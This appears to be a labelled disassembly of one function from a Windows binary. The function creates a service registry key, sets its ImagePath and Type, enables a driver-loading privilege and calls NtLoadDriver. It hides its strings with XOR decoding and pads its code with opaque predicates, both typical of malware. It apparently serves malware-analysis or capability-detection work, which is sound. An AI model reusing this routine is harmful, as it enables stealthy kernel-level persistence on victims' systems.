Function at 0x1400ae780
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xa0], 0xfffffffffffffffe
mov r12, rcx
lea rsi, [rbp + 8]
mov rcx, rsi
call fcn.14008fc50
mov rdi, qword [rbp + 0x18]
movabs rax, 0x7ffffffffffffffe
sub rax, rdi
cmp rax, 0x21
jbe 0x1400ae7f3
cmp qword [rbp + 0x20], 8
jb 0x1400ae7d7
mov rsi, qword [rbp + 8]
cmp dword [0x1406e823c], 0xa
jl 0x1400ae7f8
mov eax, dword [0x1406e8238]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1400ae83f
jmp 0x1400ae7f8
call fcn.14008dc80
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], Ordinal_41
lea r9, str.SYSTEMCurrentControlSetServices_
lea rbx, [rbp - 0x38]
lea r14, [rbp + 8]
mov rcx, rbx
mov r8, r14
call fcn.1400a5a10
cmp dword [0x1406e823c], 0xa
jl 0x1400ae868
mov eax, dword [0x1406e8238]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400ae868
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], Ordinal_41
lea r9, str.SYSTEMCurrentControlSetServices_
lea rcx, [rbp - 0x38]
lea r8, [rbp + 8]
call fcn.1400a5a10
jmp 0x1400ae7f8
mov rdi, qword [r12 + 0x10]
movabs rax, 0x7ffffffffffffffe
sub rax, rdi
cmp rax, 3
jbe 0x1400aef1c
cmp qword [r12 + 0x18], 8
mov r15, r12
jb 0x1400ae893
mov r15, qword [r12]
lea r13, [0x14026ff08]
lea rsi, [rbp - 0x18]
nop
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 4
mov rcx, rsi
mov r8, r12
mov r9, r13
call fcn.1400a5a10
cmp dword [0x1406e823c], 0xa
jl 0x1400ae8fe
mov eax, dword [0x1406e8238]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400ae8fe
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], 4
mov rcx, rsi
mov r8, r12
mov r9, r13
call fcn.1400a5a10
jmp 0x1400ae8a0
cmp qword [rbp - 0x20], 8
jb 0x1400ae909
mov rbx, qword [rbp - 0x38]
lea r8, [rbp + 0x28]
mov rcx, 0xffffffff80000002
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x1400ae9f2
movups xmm0, xmmword [0x140262ff4]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x140263001]
movups xmmword [rbp + 0x3d], xmm0
mov byte [rbp + 0x30], 0x5b
movups xmm0, xmmword [rbp + 0x31]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.123456789:_____]
andps xmm0, xmmword [0x1402587d0]
orps xmm0, xmm1
movups xmmword [rbp + 0x31], xmm0
xor byte [rbp + 0x41], 0x41
xor byte [rbp + 0x42], 0x42
xor byte [rbp + 0x43], 0x43
xor byte [rbp + 0x44], 0x44
xor byte [rbp + 0x45], 0x45
xor byte [rbp + 0x46], 0x46
xor byte [rbp + 0x47], 0x47
xor byte [rbp + 0x48], 0x48
xor byte [rbp + 0x49], 0x49
xor byte [rbp + 0x4a], 0x4a
xor byte [rbp + 0x4b], 0x4b
xor byte [rbp + 0x4c], 0x4c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp + 0x30]
call fcn.140093140
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp dword [0x1406e824c], 0xa
jl 0x1400aeed2
mov eax, dword [0x1406e8248]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400aeed2
nop word cs:[rax + rax]
jmp 0x1400ae9f0
mov eax, dword [rbp - 8]
add eax, eax
cmp qword [rbp], 8
jb 0x1400aea02
mov rsi, qword [rbp - 0x18]
mov rcx, qword [rbp + 0x28]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
lea r8, [0x14026fa5e]
xor edx, edx
mov r9d, 2
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov rcx, qword [rbp + 0x28]
test eax, eax
je 0x1400aeb42
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
movups xmm0, xmmword [0x14026302d]
movups xmmword [rbp + 0x4c], xmm0
movups xmm0, xmmword [0x140263021]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x140263011]
mov eax, dword [0x1406e8428]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e842c], 0xa
movaps xmmword [rbp + 0x30], xmm0
setl al
or al, cl
xor ecx, ecx
nop word [rax + rax]
test al, al
je 0x1400aea80
mov edx, Ordinal_211
sub edx, ecx
and edx, 0xd9
lea ebx, [rcx + 0x30]
and ebx, 0x26
or ebx, edx
xor bl, byte [rbp + rcx + 0x30]
xor bl, 0xd9
mov byte [rbp + rcx + 0x30], bl
mov rdx, rcx
or rdx, 1
nop dword [rax + rax]
test al, al
je 0x1400aeab0
mov ebx, Ordinal_211
sub ebx, edx
and ebx, 0xd8
lea edi, [rdx + 0x30]
and edi, 0x26
or edi, ebx
xor dil, byte [rbp + rdx + 0x30]
xor dil, 0xd9
mov byte [rbp + rdx + 0x30], dil
add rcx, 2
cmp rcx, 0x2c
jne 0x1400aea80
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp + 0x30]
call fcn.140093140
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp dword [0x1406e824c], 0xa
jl 0x1400aeed2
mov eax, dword [0x1406e8248]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400aeed2
nop dword [rax]
jmp 0x1400aeb40
lea rax, [0x140262ff0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
lea r8, str.Type
xor edx, edx
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueW]
mov esi, eax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x1400aec32
movups xmm0, xmmword [0x14026303d]
movaps xmmword [rbp + 0x30], xmm0
mov rax, qword [0x14026305c]
mov qword [rbp + 0x4f], rax
movups xmm0, xmmword [0x14026304d]
movaps xmmword [rbp + 0x40], xmm0
mov eax, dword [0x1406e7db4]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e7db0], 0xa
setl r8b
or r8b, cl
mov byte [rbp + 0x30], 0x5b
cmp r8b, 1
jne 0x1400aec30
xor ecx, ecx
nop dword [rax]
mov rdx, rcx
or rdx, 1
cmp rdx, 0x27
je 0x1400aece9
movzx ebx, byte [rbp + rdx + 0x30]
mov al, 0xcf
sub al, dl
and al, bl
not bl
lea edi, [rdx + 0x30]
and dil, bl
or al, dil
mov byte [rbp + rdx + 0x30], al
test r8b, r8b
je 0x1400aec30
lea rax, [rcx + 2]
movzx edx, byte [rbp + rcx + 0x32]
mov bl, 0xcf
sub bl, al
and bl, dl
not dl
lea edi, [rax + 0x30]
and dil, dl
or bl, dil
mov byte [rbp + rcx + 0x32], bl
mov rcx, rax
jmp 0x1400aebd0
jmp 0x1400aec30
movabs rax, 0x6c642e6c6c64746e
mov qword [rbp + 0x30], rax
mov word [rbp + 0x38], WSASetLastError
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400aeed2
mov rsi, rax
lea rdx, str.RtlAdjustPrivilege
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call rdi
mov rbx, rax
lea rdx, str.NtLoadDriver
mov rcx, rsi
call rdi
mov rdi, rax
lea r9, [rbp + 0x9f]
mov ecx, 0xa
mov dl, 1
xor r8d, r8d
call rbx
test eax, eax
js 0x1400aed52
mov rbx, qword [rbp + 0x18]
movabs rax, 0x7ffffffffffffffe
sub rax, rbx
cmp rax, 0x33
jbe 0x1400aef21
cmp qword [rbp + 0x20], 8
jb 0x1400aecc2
mov r14, qword [rbp + 8]
cmp dword [0x1406e823c], 0xa
jl 0x1400aef26
mov eax, dword [0x1406e8238]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1400aef6a
jmp 0x1400aef26
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp + 0x30]
call fcn.140093140
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp dword [0x1406e824c], 0xa
jl 0x1400aeed2
mov eax, dword [0x1406e8248]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400aeed2
nop word cs:[rax + rax]
nop
jmp 0x1400aed50
movups xmm0, xmmword [0x140263064]
movaps xmmword [rbp + 0x30], xmm0
movups xmm0, xmmword [0x140263074]
movaps xmmword [rbp + 0x40], xmm0
movups xmm0, xmmword [0x140263084]
movaps xmmword [rbp + 0x50], xmm0
movups xmm0, xmmword [0x140263094]
movaps xmmword [rbp + 0x60], xmm0
mov rax, qword [0x1402630c1]
mov qword [rbp + 0x8d], rax
movups xmm0, xmmword [0x1402630b4]
movaps xmmword [rbp + 0x80], xmm0
movups xmm0, xmmword [0x1402630a4]
movaps xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x30], 0x46
movups xmm0, xmmword [rbp + 0x31]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.123456789:_____]
andps xmm0, xmmword [0x1402587d0]
orps xmm0, xmm1
movups xmmword [rbp + 0x31], xmm0
movups xmm0, xmmword [rbp + 0x41]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.ABCDEFGHIJKLMNOP]
andps xmm0, xmmword [0x140259790]
orps xmm0, xmm1
movups xmmword [rbp + 0x41], xmm0
movups xmm0, xmmword [rbp + 0x51]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.QRSTUVWXYZ____]
andps xmm0, xmmword [0x1402597d0]
orps xmm0, xmm1
movups xmmword [rbp + 0x51], xmm0
movups xmm0, xmmword [rbp + 0x61]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.abcdef0123456789]
andps xmm0, xmmword [0x140263100]
orps xmm0, xmm1
movups xmmword [rbp + 0x61], xmm0
movups xmm0, xmmword [rbp + 0x71]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.:_____ABCDEFGHI]
andps xmm0, xmmword [0x140263120]
orps xmm0, xmm1
movups xmmword [rbp + 0x71], xmm0
movups xmm0, xmmword [rbp + 0x81]
movaps xmm1, xmm0
andnps xmm1, xmmword [str.JKLMNOPQRSTUVWXY]
andps xmm0, xmmword [0x140263140]
orps xmm0, xmm1
movups xmmword [rbp + 0x81], xmm0
xor byte [rbp + 0x91], 0x5a
xor byte [rbp + 0x92], 0x5b
xor byte [rbp + 0x93], 0x5c
xor byte [rbp + 0x94], 0x5d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp + 0x30]
call fcn.140093140
mov rsi, rax
mov rax, qword [rax]
movsxd rcx, dword [rax + 4]
add rcx, rsi
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_wchar_t___cdecl_std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__::widen_char_const___ptr64]
mov rcx, rsi
mov edx, eax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::put_wchar_t____ptr64]
mov rcx, rsi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::flush_void____ptr64]
cmp dword [0x1406e824c], 0xa
jl 0x1400aeed2
mov eax, dword [0x1406e8248]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400aeed2
nop word cs:[rax + rax]
jmp 0x1400aeed0
xor r15d, r15d
lea rcx, [rbp - 0x18]
call fcn.1400a5220
mov eax, dword [0x1406e7c14]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e7c10], 0xa
setl al
or al, cl
mov ecx, dword [0x1406e7d38]
mov edx, dword [0x1406e7d3c]
jne 0x1400af09a
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1400af0ca
call fcn.14008dc80
call fcn.14008dc80
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], gethostname
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rsi, [rbp + 0x30]
lea r8, [rbp + 8]
mov rcx, rsi
call fcn.1400a5a10
cmp dword [0x1406e823c], 0xa
jl 0x1400aef93
mov eax, dword [0x1406e8238]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1400aef93
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], gethostname
lea r9, str.RegistryMachineSystemCurrentControlSetServices_
lea rcx, [rbp + 0x30]
lea r8, [rbp + 8]
call fcn.1400a5a10
jmp 0x1400aef26
cmp qword [rbp + 0x48], 8
jb 0x1400aef9e
mov rsi, qword [rbp + 0x30]
lea rbx, [rbp - 0x48]
mov rcx, rbx
mov rdx, rsi
call sub.ntdll.dll_RtlInitUnicodeString
mov rcx, rbx
call rdi
cmp eax, 0xc000010e
sete r15b
test eax, eax
setns r14b
lea rcx, [rbp + 0x30]
call fcn.1400a5220
mov eax, dword [0x1406e7c14]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e7c10], 0xa
setl al
or al, cl
mov ecx, dword [0x1406e7d38]
mov edx, dword [0x1406e7d3c]
jne 0x1400af001
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jmp 0x1400af031
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp edx, 0xa
jl 0x1400af013
test edi, edi
jne 0x1400af070
cmp dword [0x1406e7d60], 0xa
jl 0x1400af02d
mov ebx, dword [0x1406e7d64]
lea esi, [rbx - 1]
imul esi, ebx
and esi, 1
jne 0x1400af090
test al, al
jne 0x1400af092
cmp edx, 0xa
jl 0x1400af03a
test edi, edi
jne 0x1400af080
cmp dword [0x1406e7d60], 0xa
jl 0x1400af001
mov ebx, dword [0x1406e7d64]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1400af001
nop word cs:[rax + rax]
nop
jmp 0x1400af060
jmp 0x1400af070
jmp 0x1400af080
jmp 0x1400af090
or r15b, r14b
jmp 0x1400aeed5
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1400af0ac
test ebx, ebx
jne 0x1400af100
cmp dword [0x1406e7d60], 0xa
jl 0x1400af0c6
mov edi, dword [0x1406e7d64]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1400af120
test al, al
jne 0x1400af122
cmp edx, 0xa
jl 0x1400af0d3
test ebx, ebx
jne 0x1400af110
cmp dword [0x1406e7d60], 0xa
jl 0x1400af09a
mov ebx, dword [0x1406e7d64]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1400af09a
nop dword [rax]
jmp 0x1400af0f0
jmp 0x1400af100
jmp 0x1400af110
jmp 0x1400af120
lea rcx, [rbp - 0x38]
call fcn.1400a5220
mov eax, dword [0x1406e7c14]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e7c10], 0xa
setl al
or al, cl
mov ecx, dword [0x1406e7d38]
mov edx, dword [0x1406e7d3c]
jne 0x1400af162
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1400af192
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1400af174
test ebx, ebx
jne 0x1400af1d0
cmp dword [0x1406e7d60], 0xa
jl 0x1400af18e
mov edi, dword [0x1406e7d64]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1400af1f0
test al, al
jne 0x1400af1f2
cmp edx, 0xa
jl 0x1400af19b
test ebx, ebx
jne 0x1400af1e0
cmp dword [0x1406e7d60], 0xa
jl 0x1400af162
mov ebx, dword [0x1406e7d64]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1400af162
nop word cs:[rax + rax]
nop
jmp 0x1400af1c0
jmp 0x1400af1d0
jmp 0x1400af1e0
jmp 0x1400af1f0
lea rcx, [rbp + 8]
call fcn.1400a5220
mov eax, dword [0x1406e7c14]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406e7c10], 0xa
setl al
or al, cl
mov ecx, dword [0x1406e7d38]
mov edx, dword [0x1406e7d3c]
jne 0x1400af232
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1400af262
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1400af244
test ebx, ebx
jne 0x1400af2a0
cmp dword [0x1406e7d60], 0xa
jl 0x1400af25e
mov edi, dword [0x1406e7d64]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1400af2c0
test al, al
jne 0x1400af2c2
cmp edx, 0xa
jl 0x1400af26b
test ebx, ebx
jne 0x1400af2b0
cmp dword [0x1406e7d60], 0xa
jl 0x1400af232
mov ebx, dword [0x1406e7d64]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1400af232
nop word cs:[rax + rax]
nop
jmp 0x1400af290
jmp 0x1400af2a0
jmp 0x1400af2b0
jmp 0x1400af2c0
mov eax, r15d
add rsp, 0x128
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret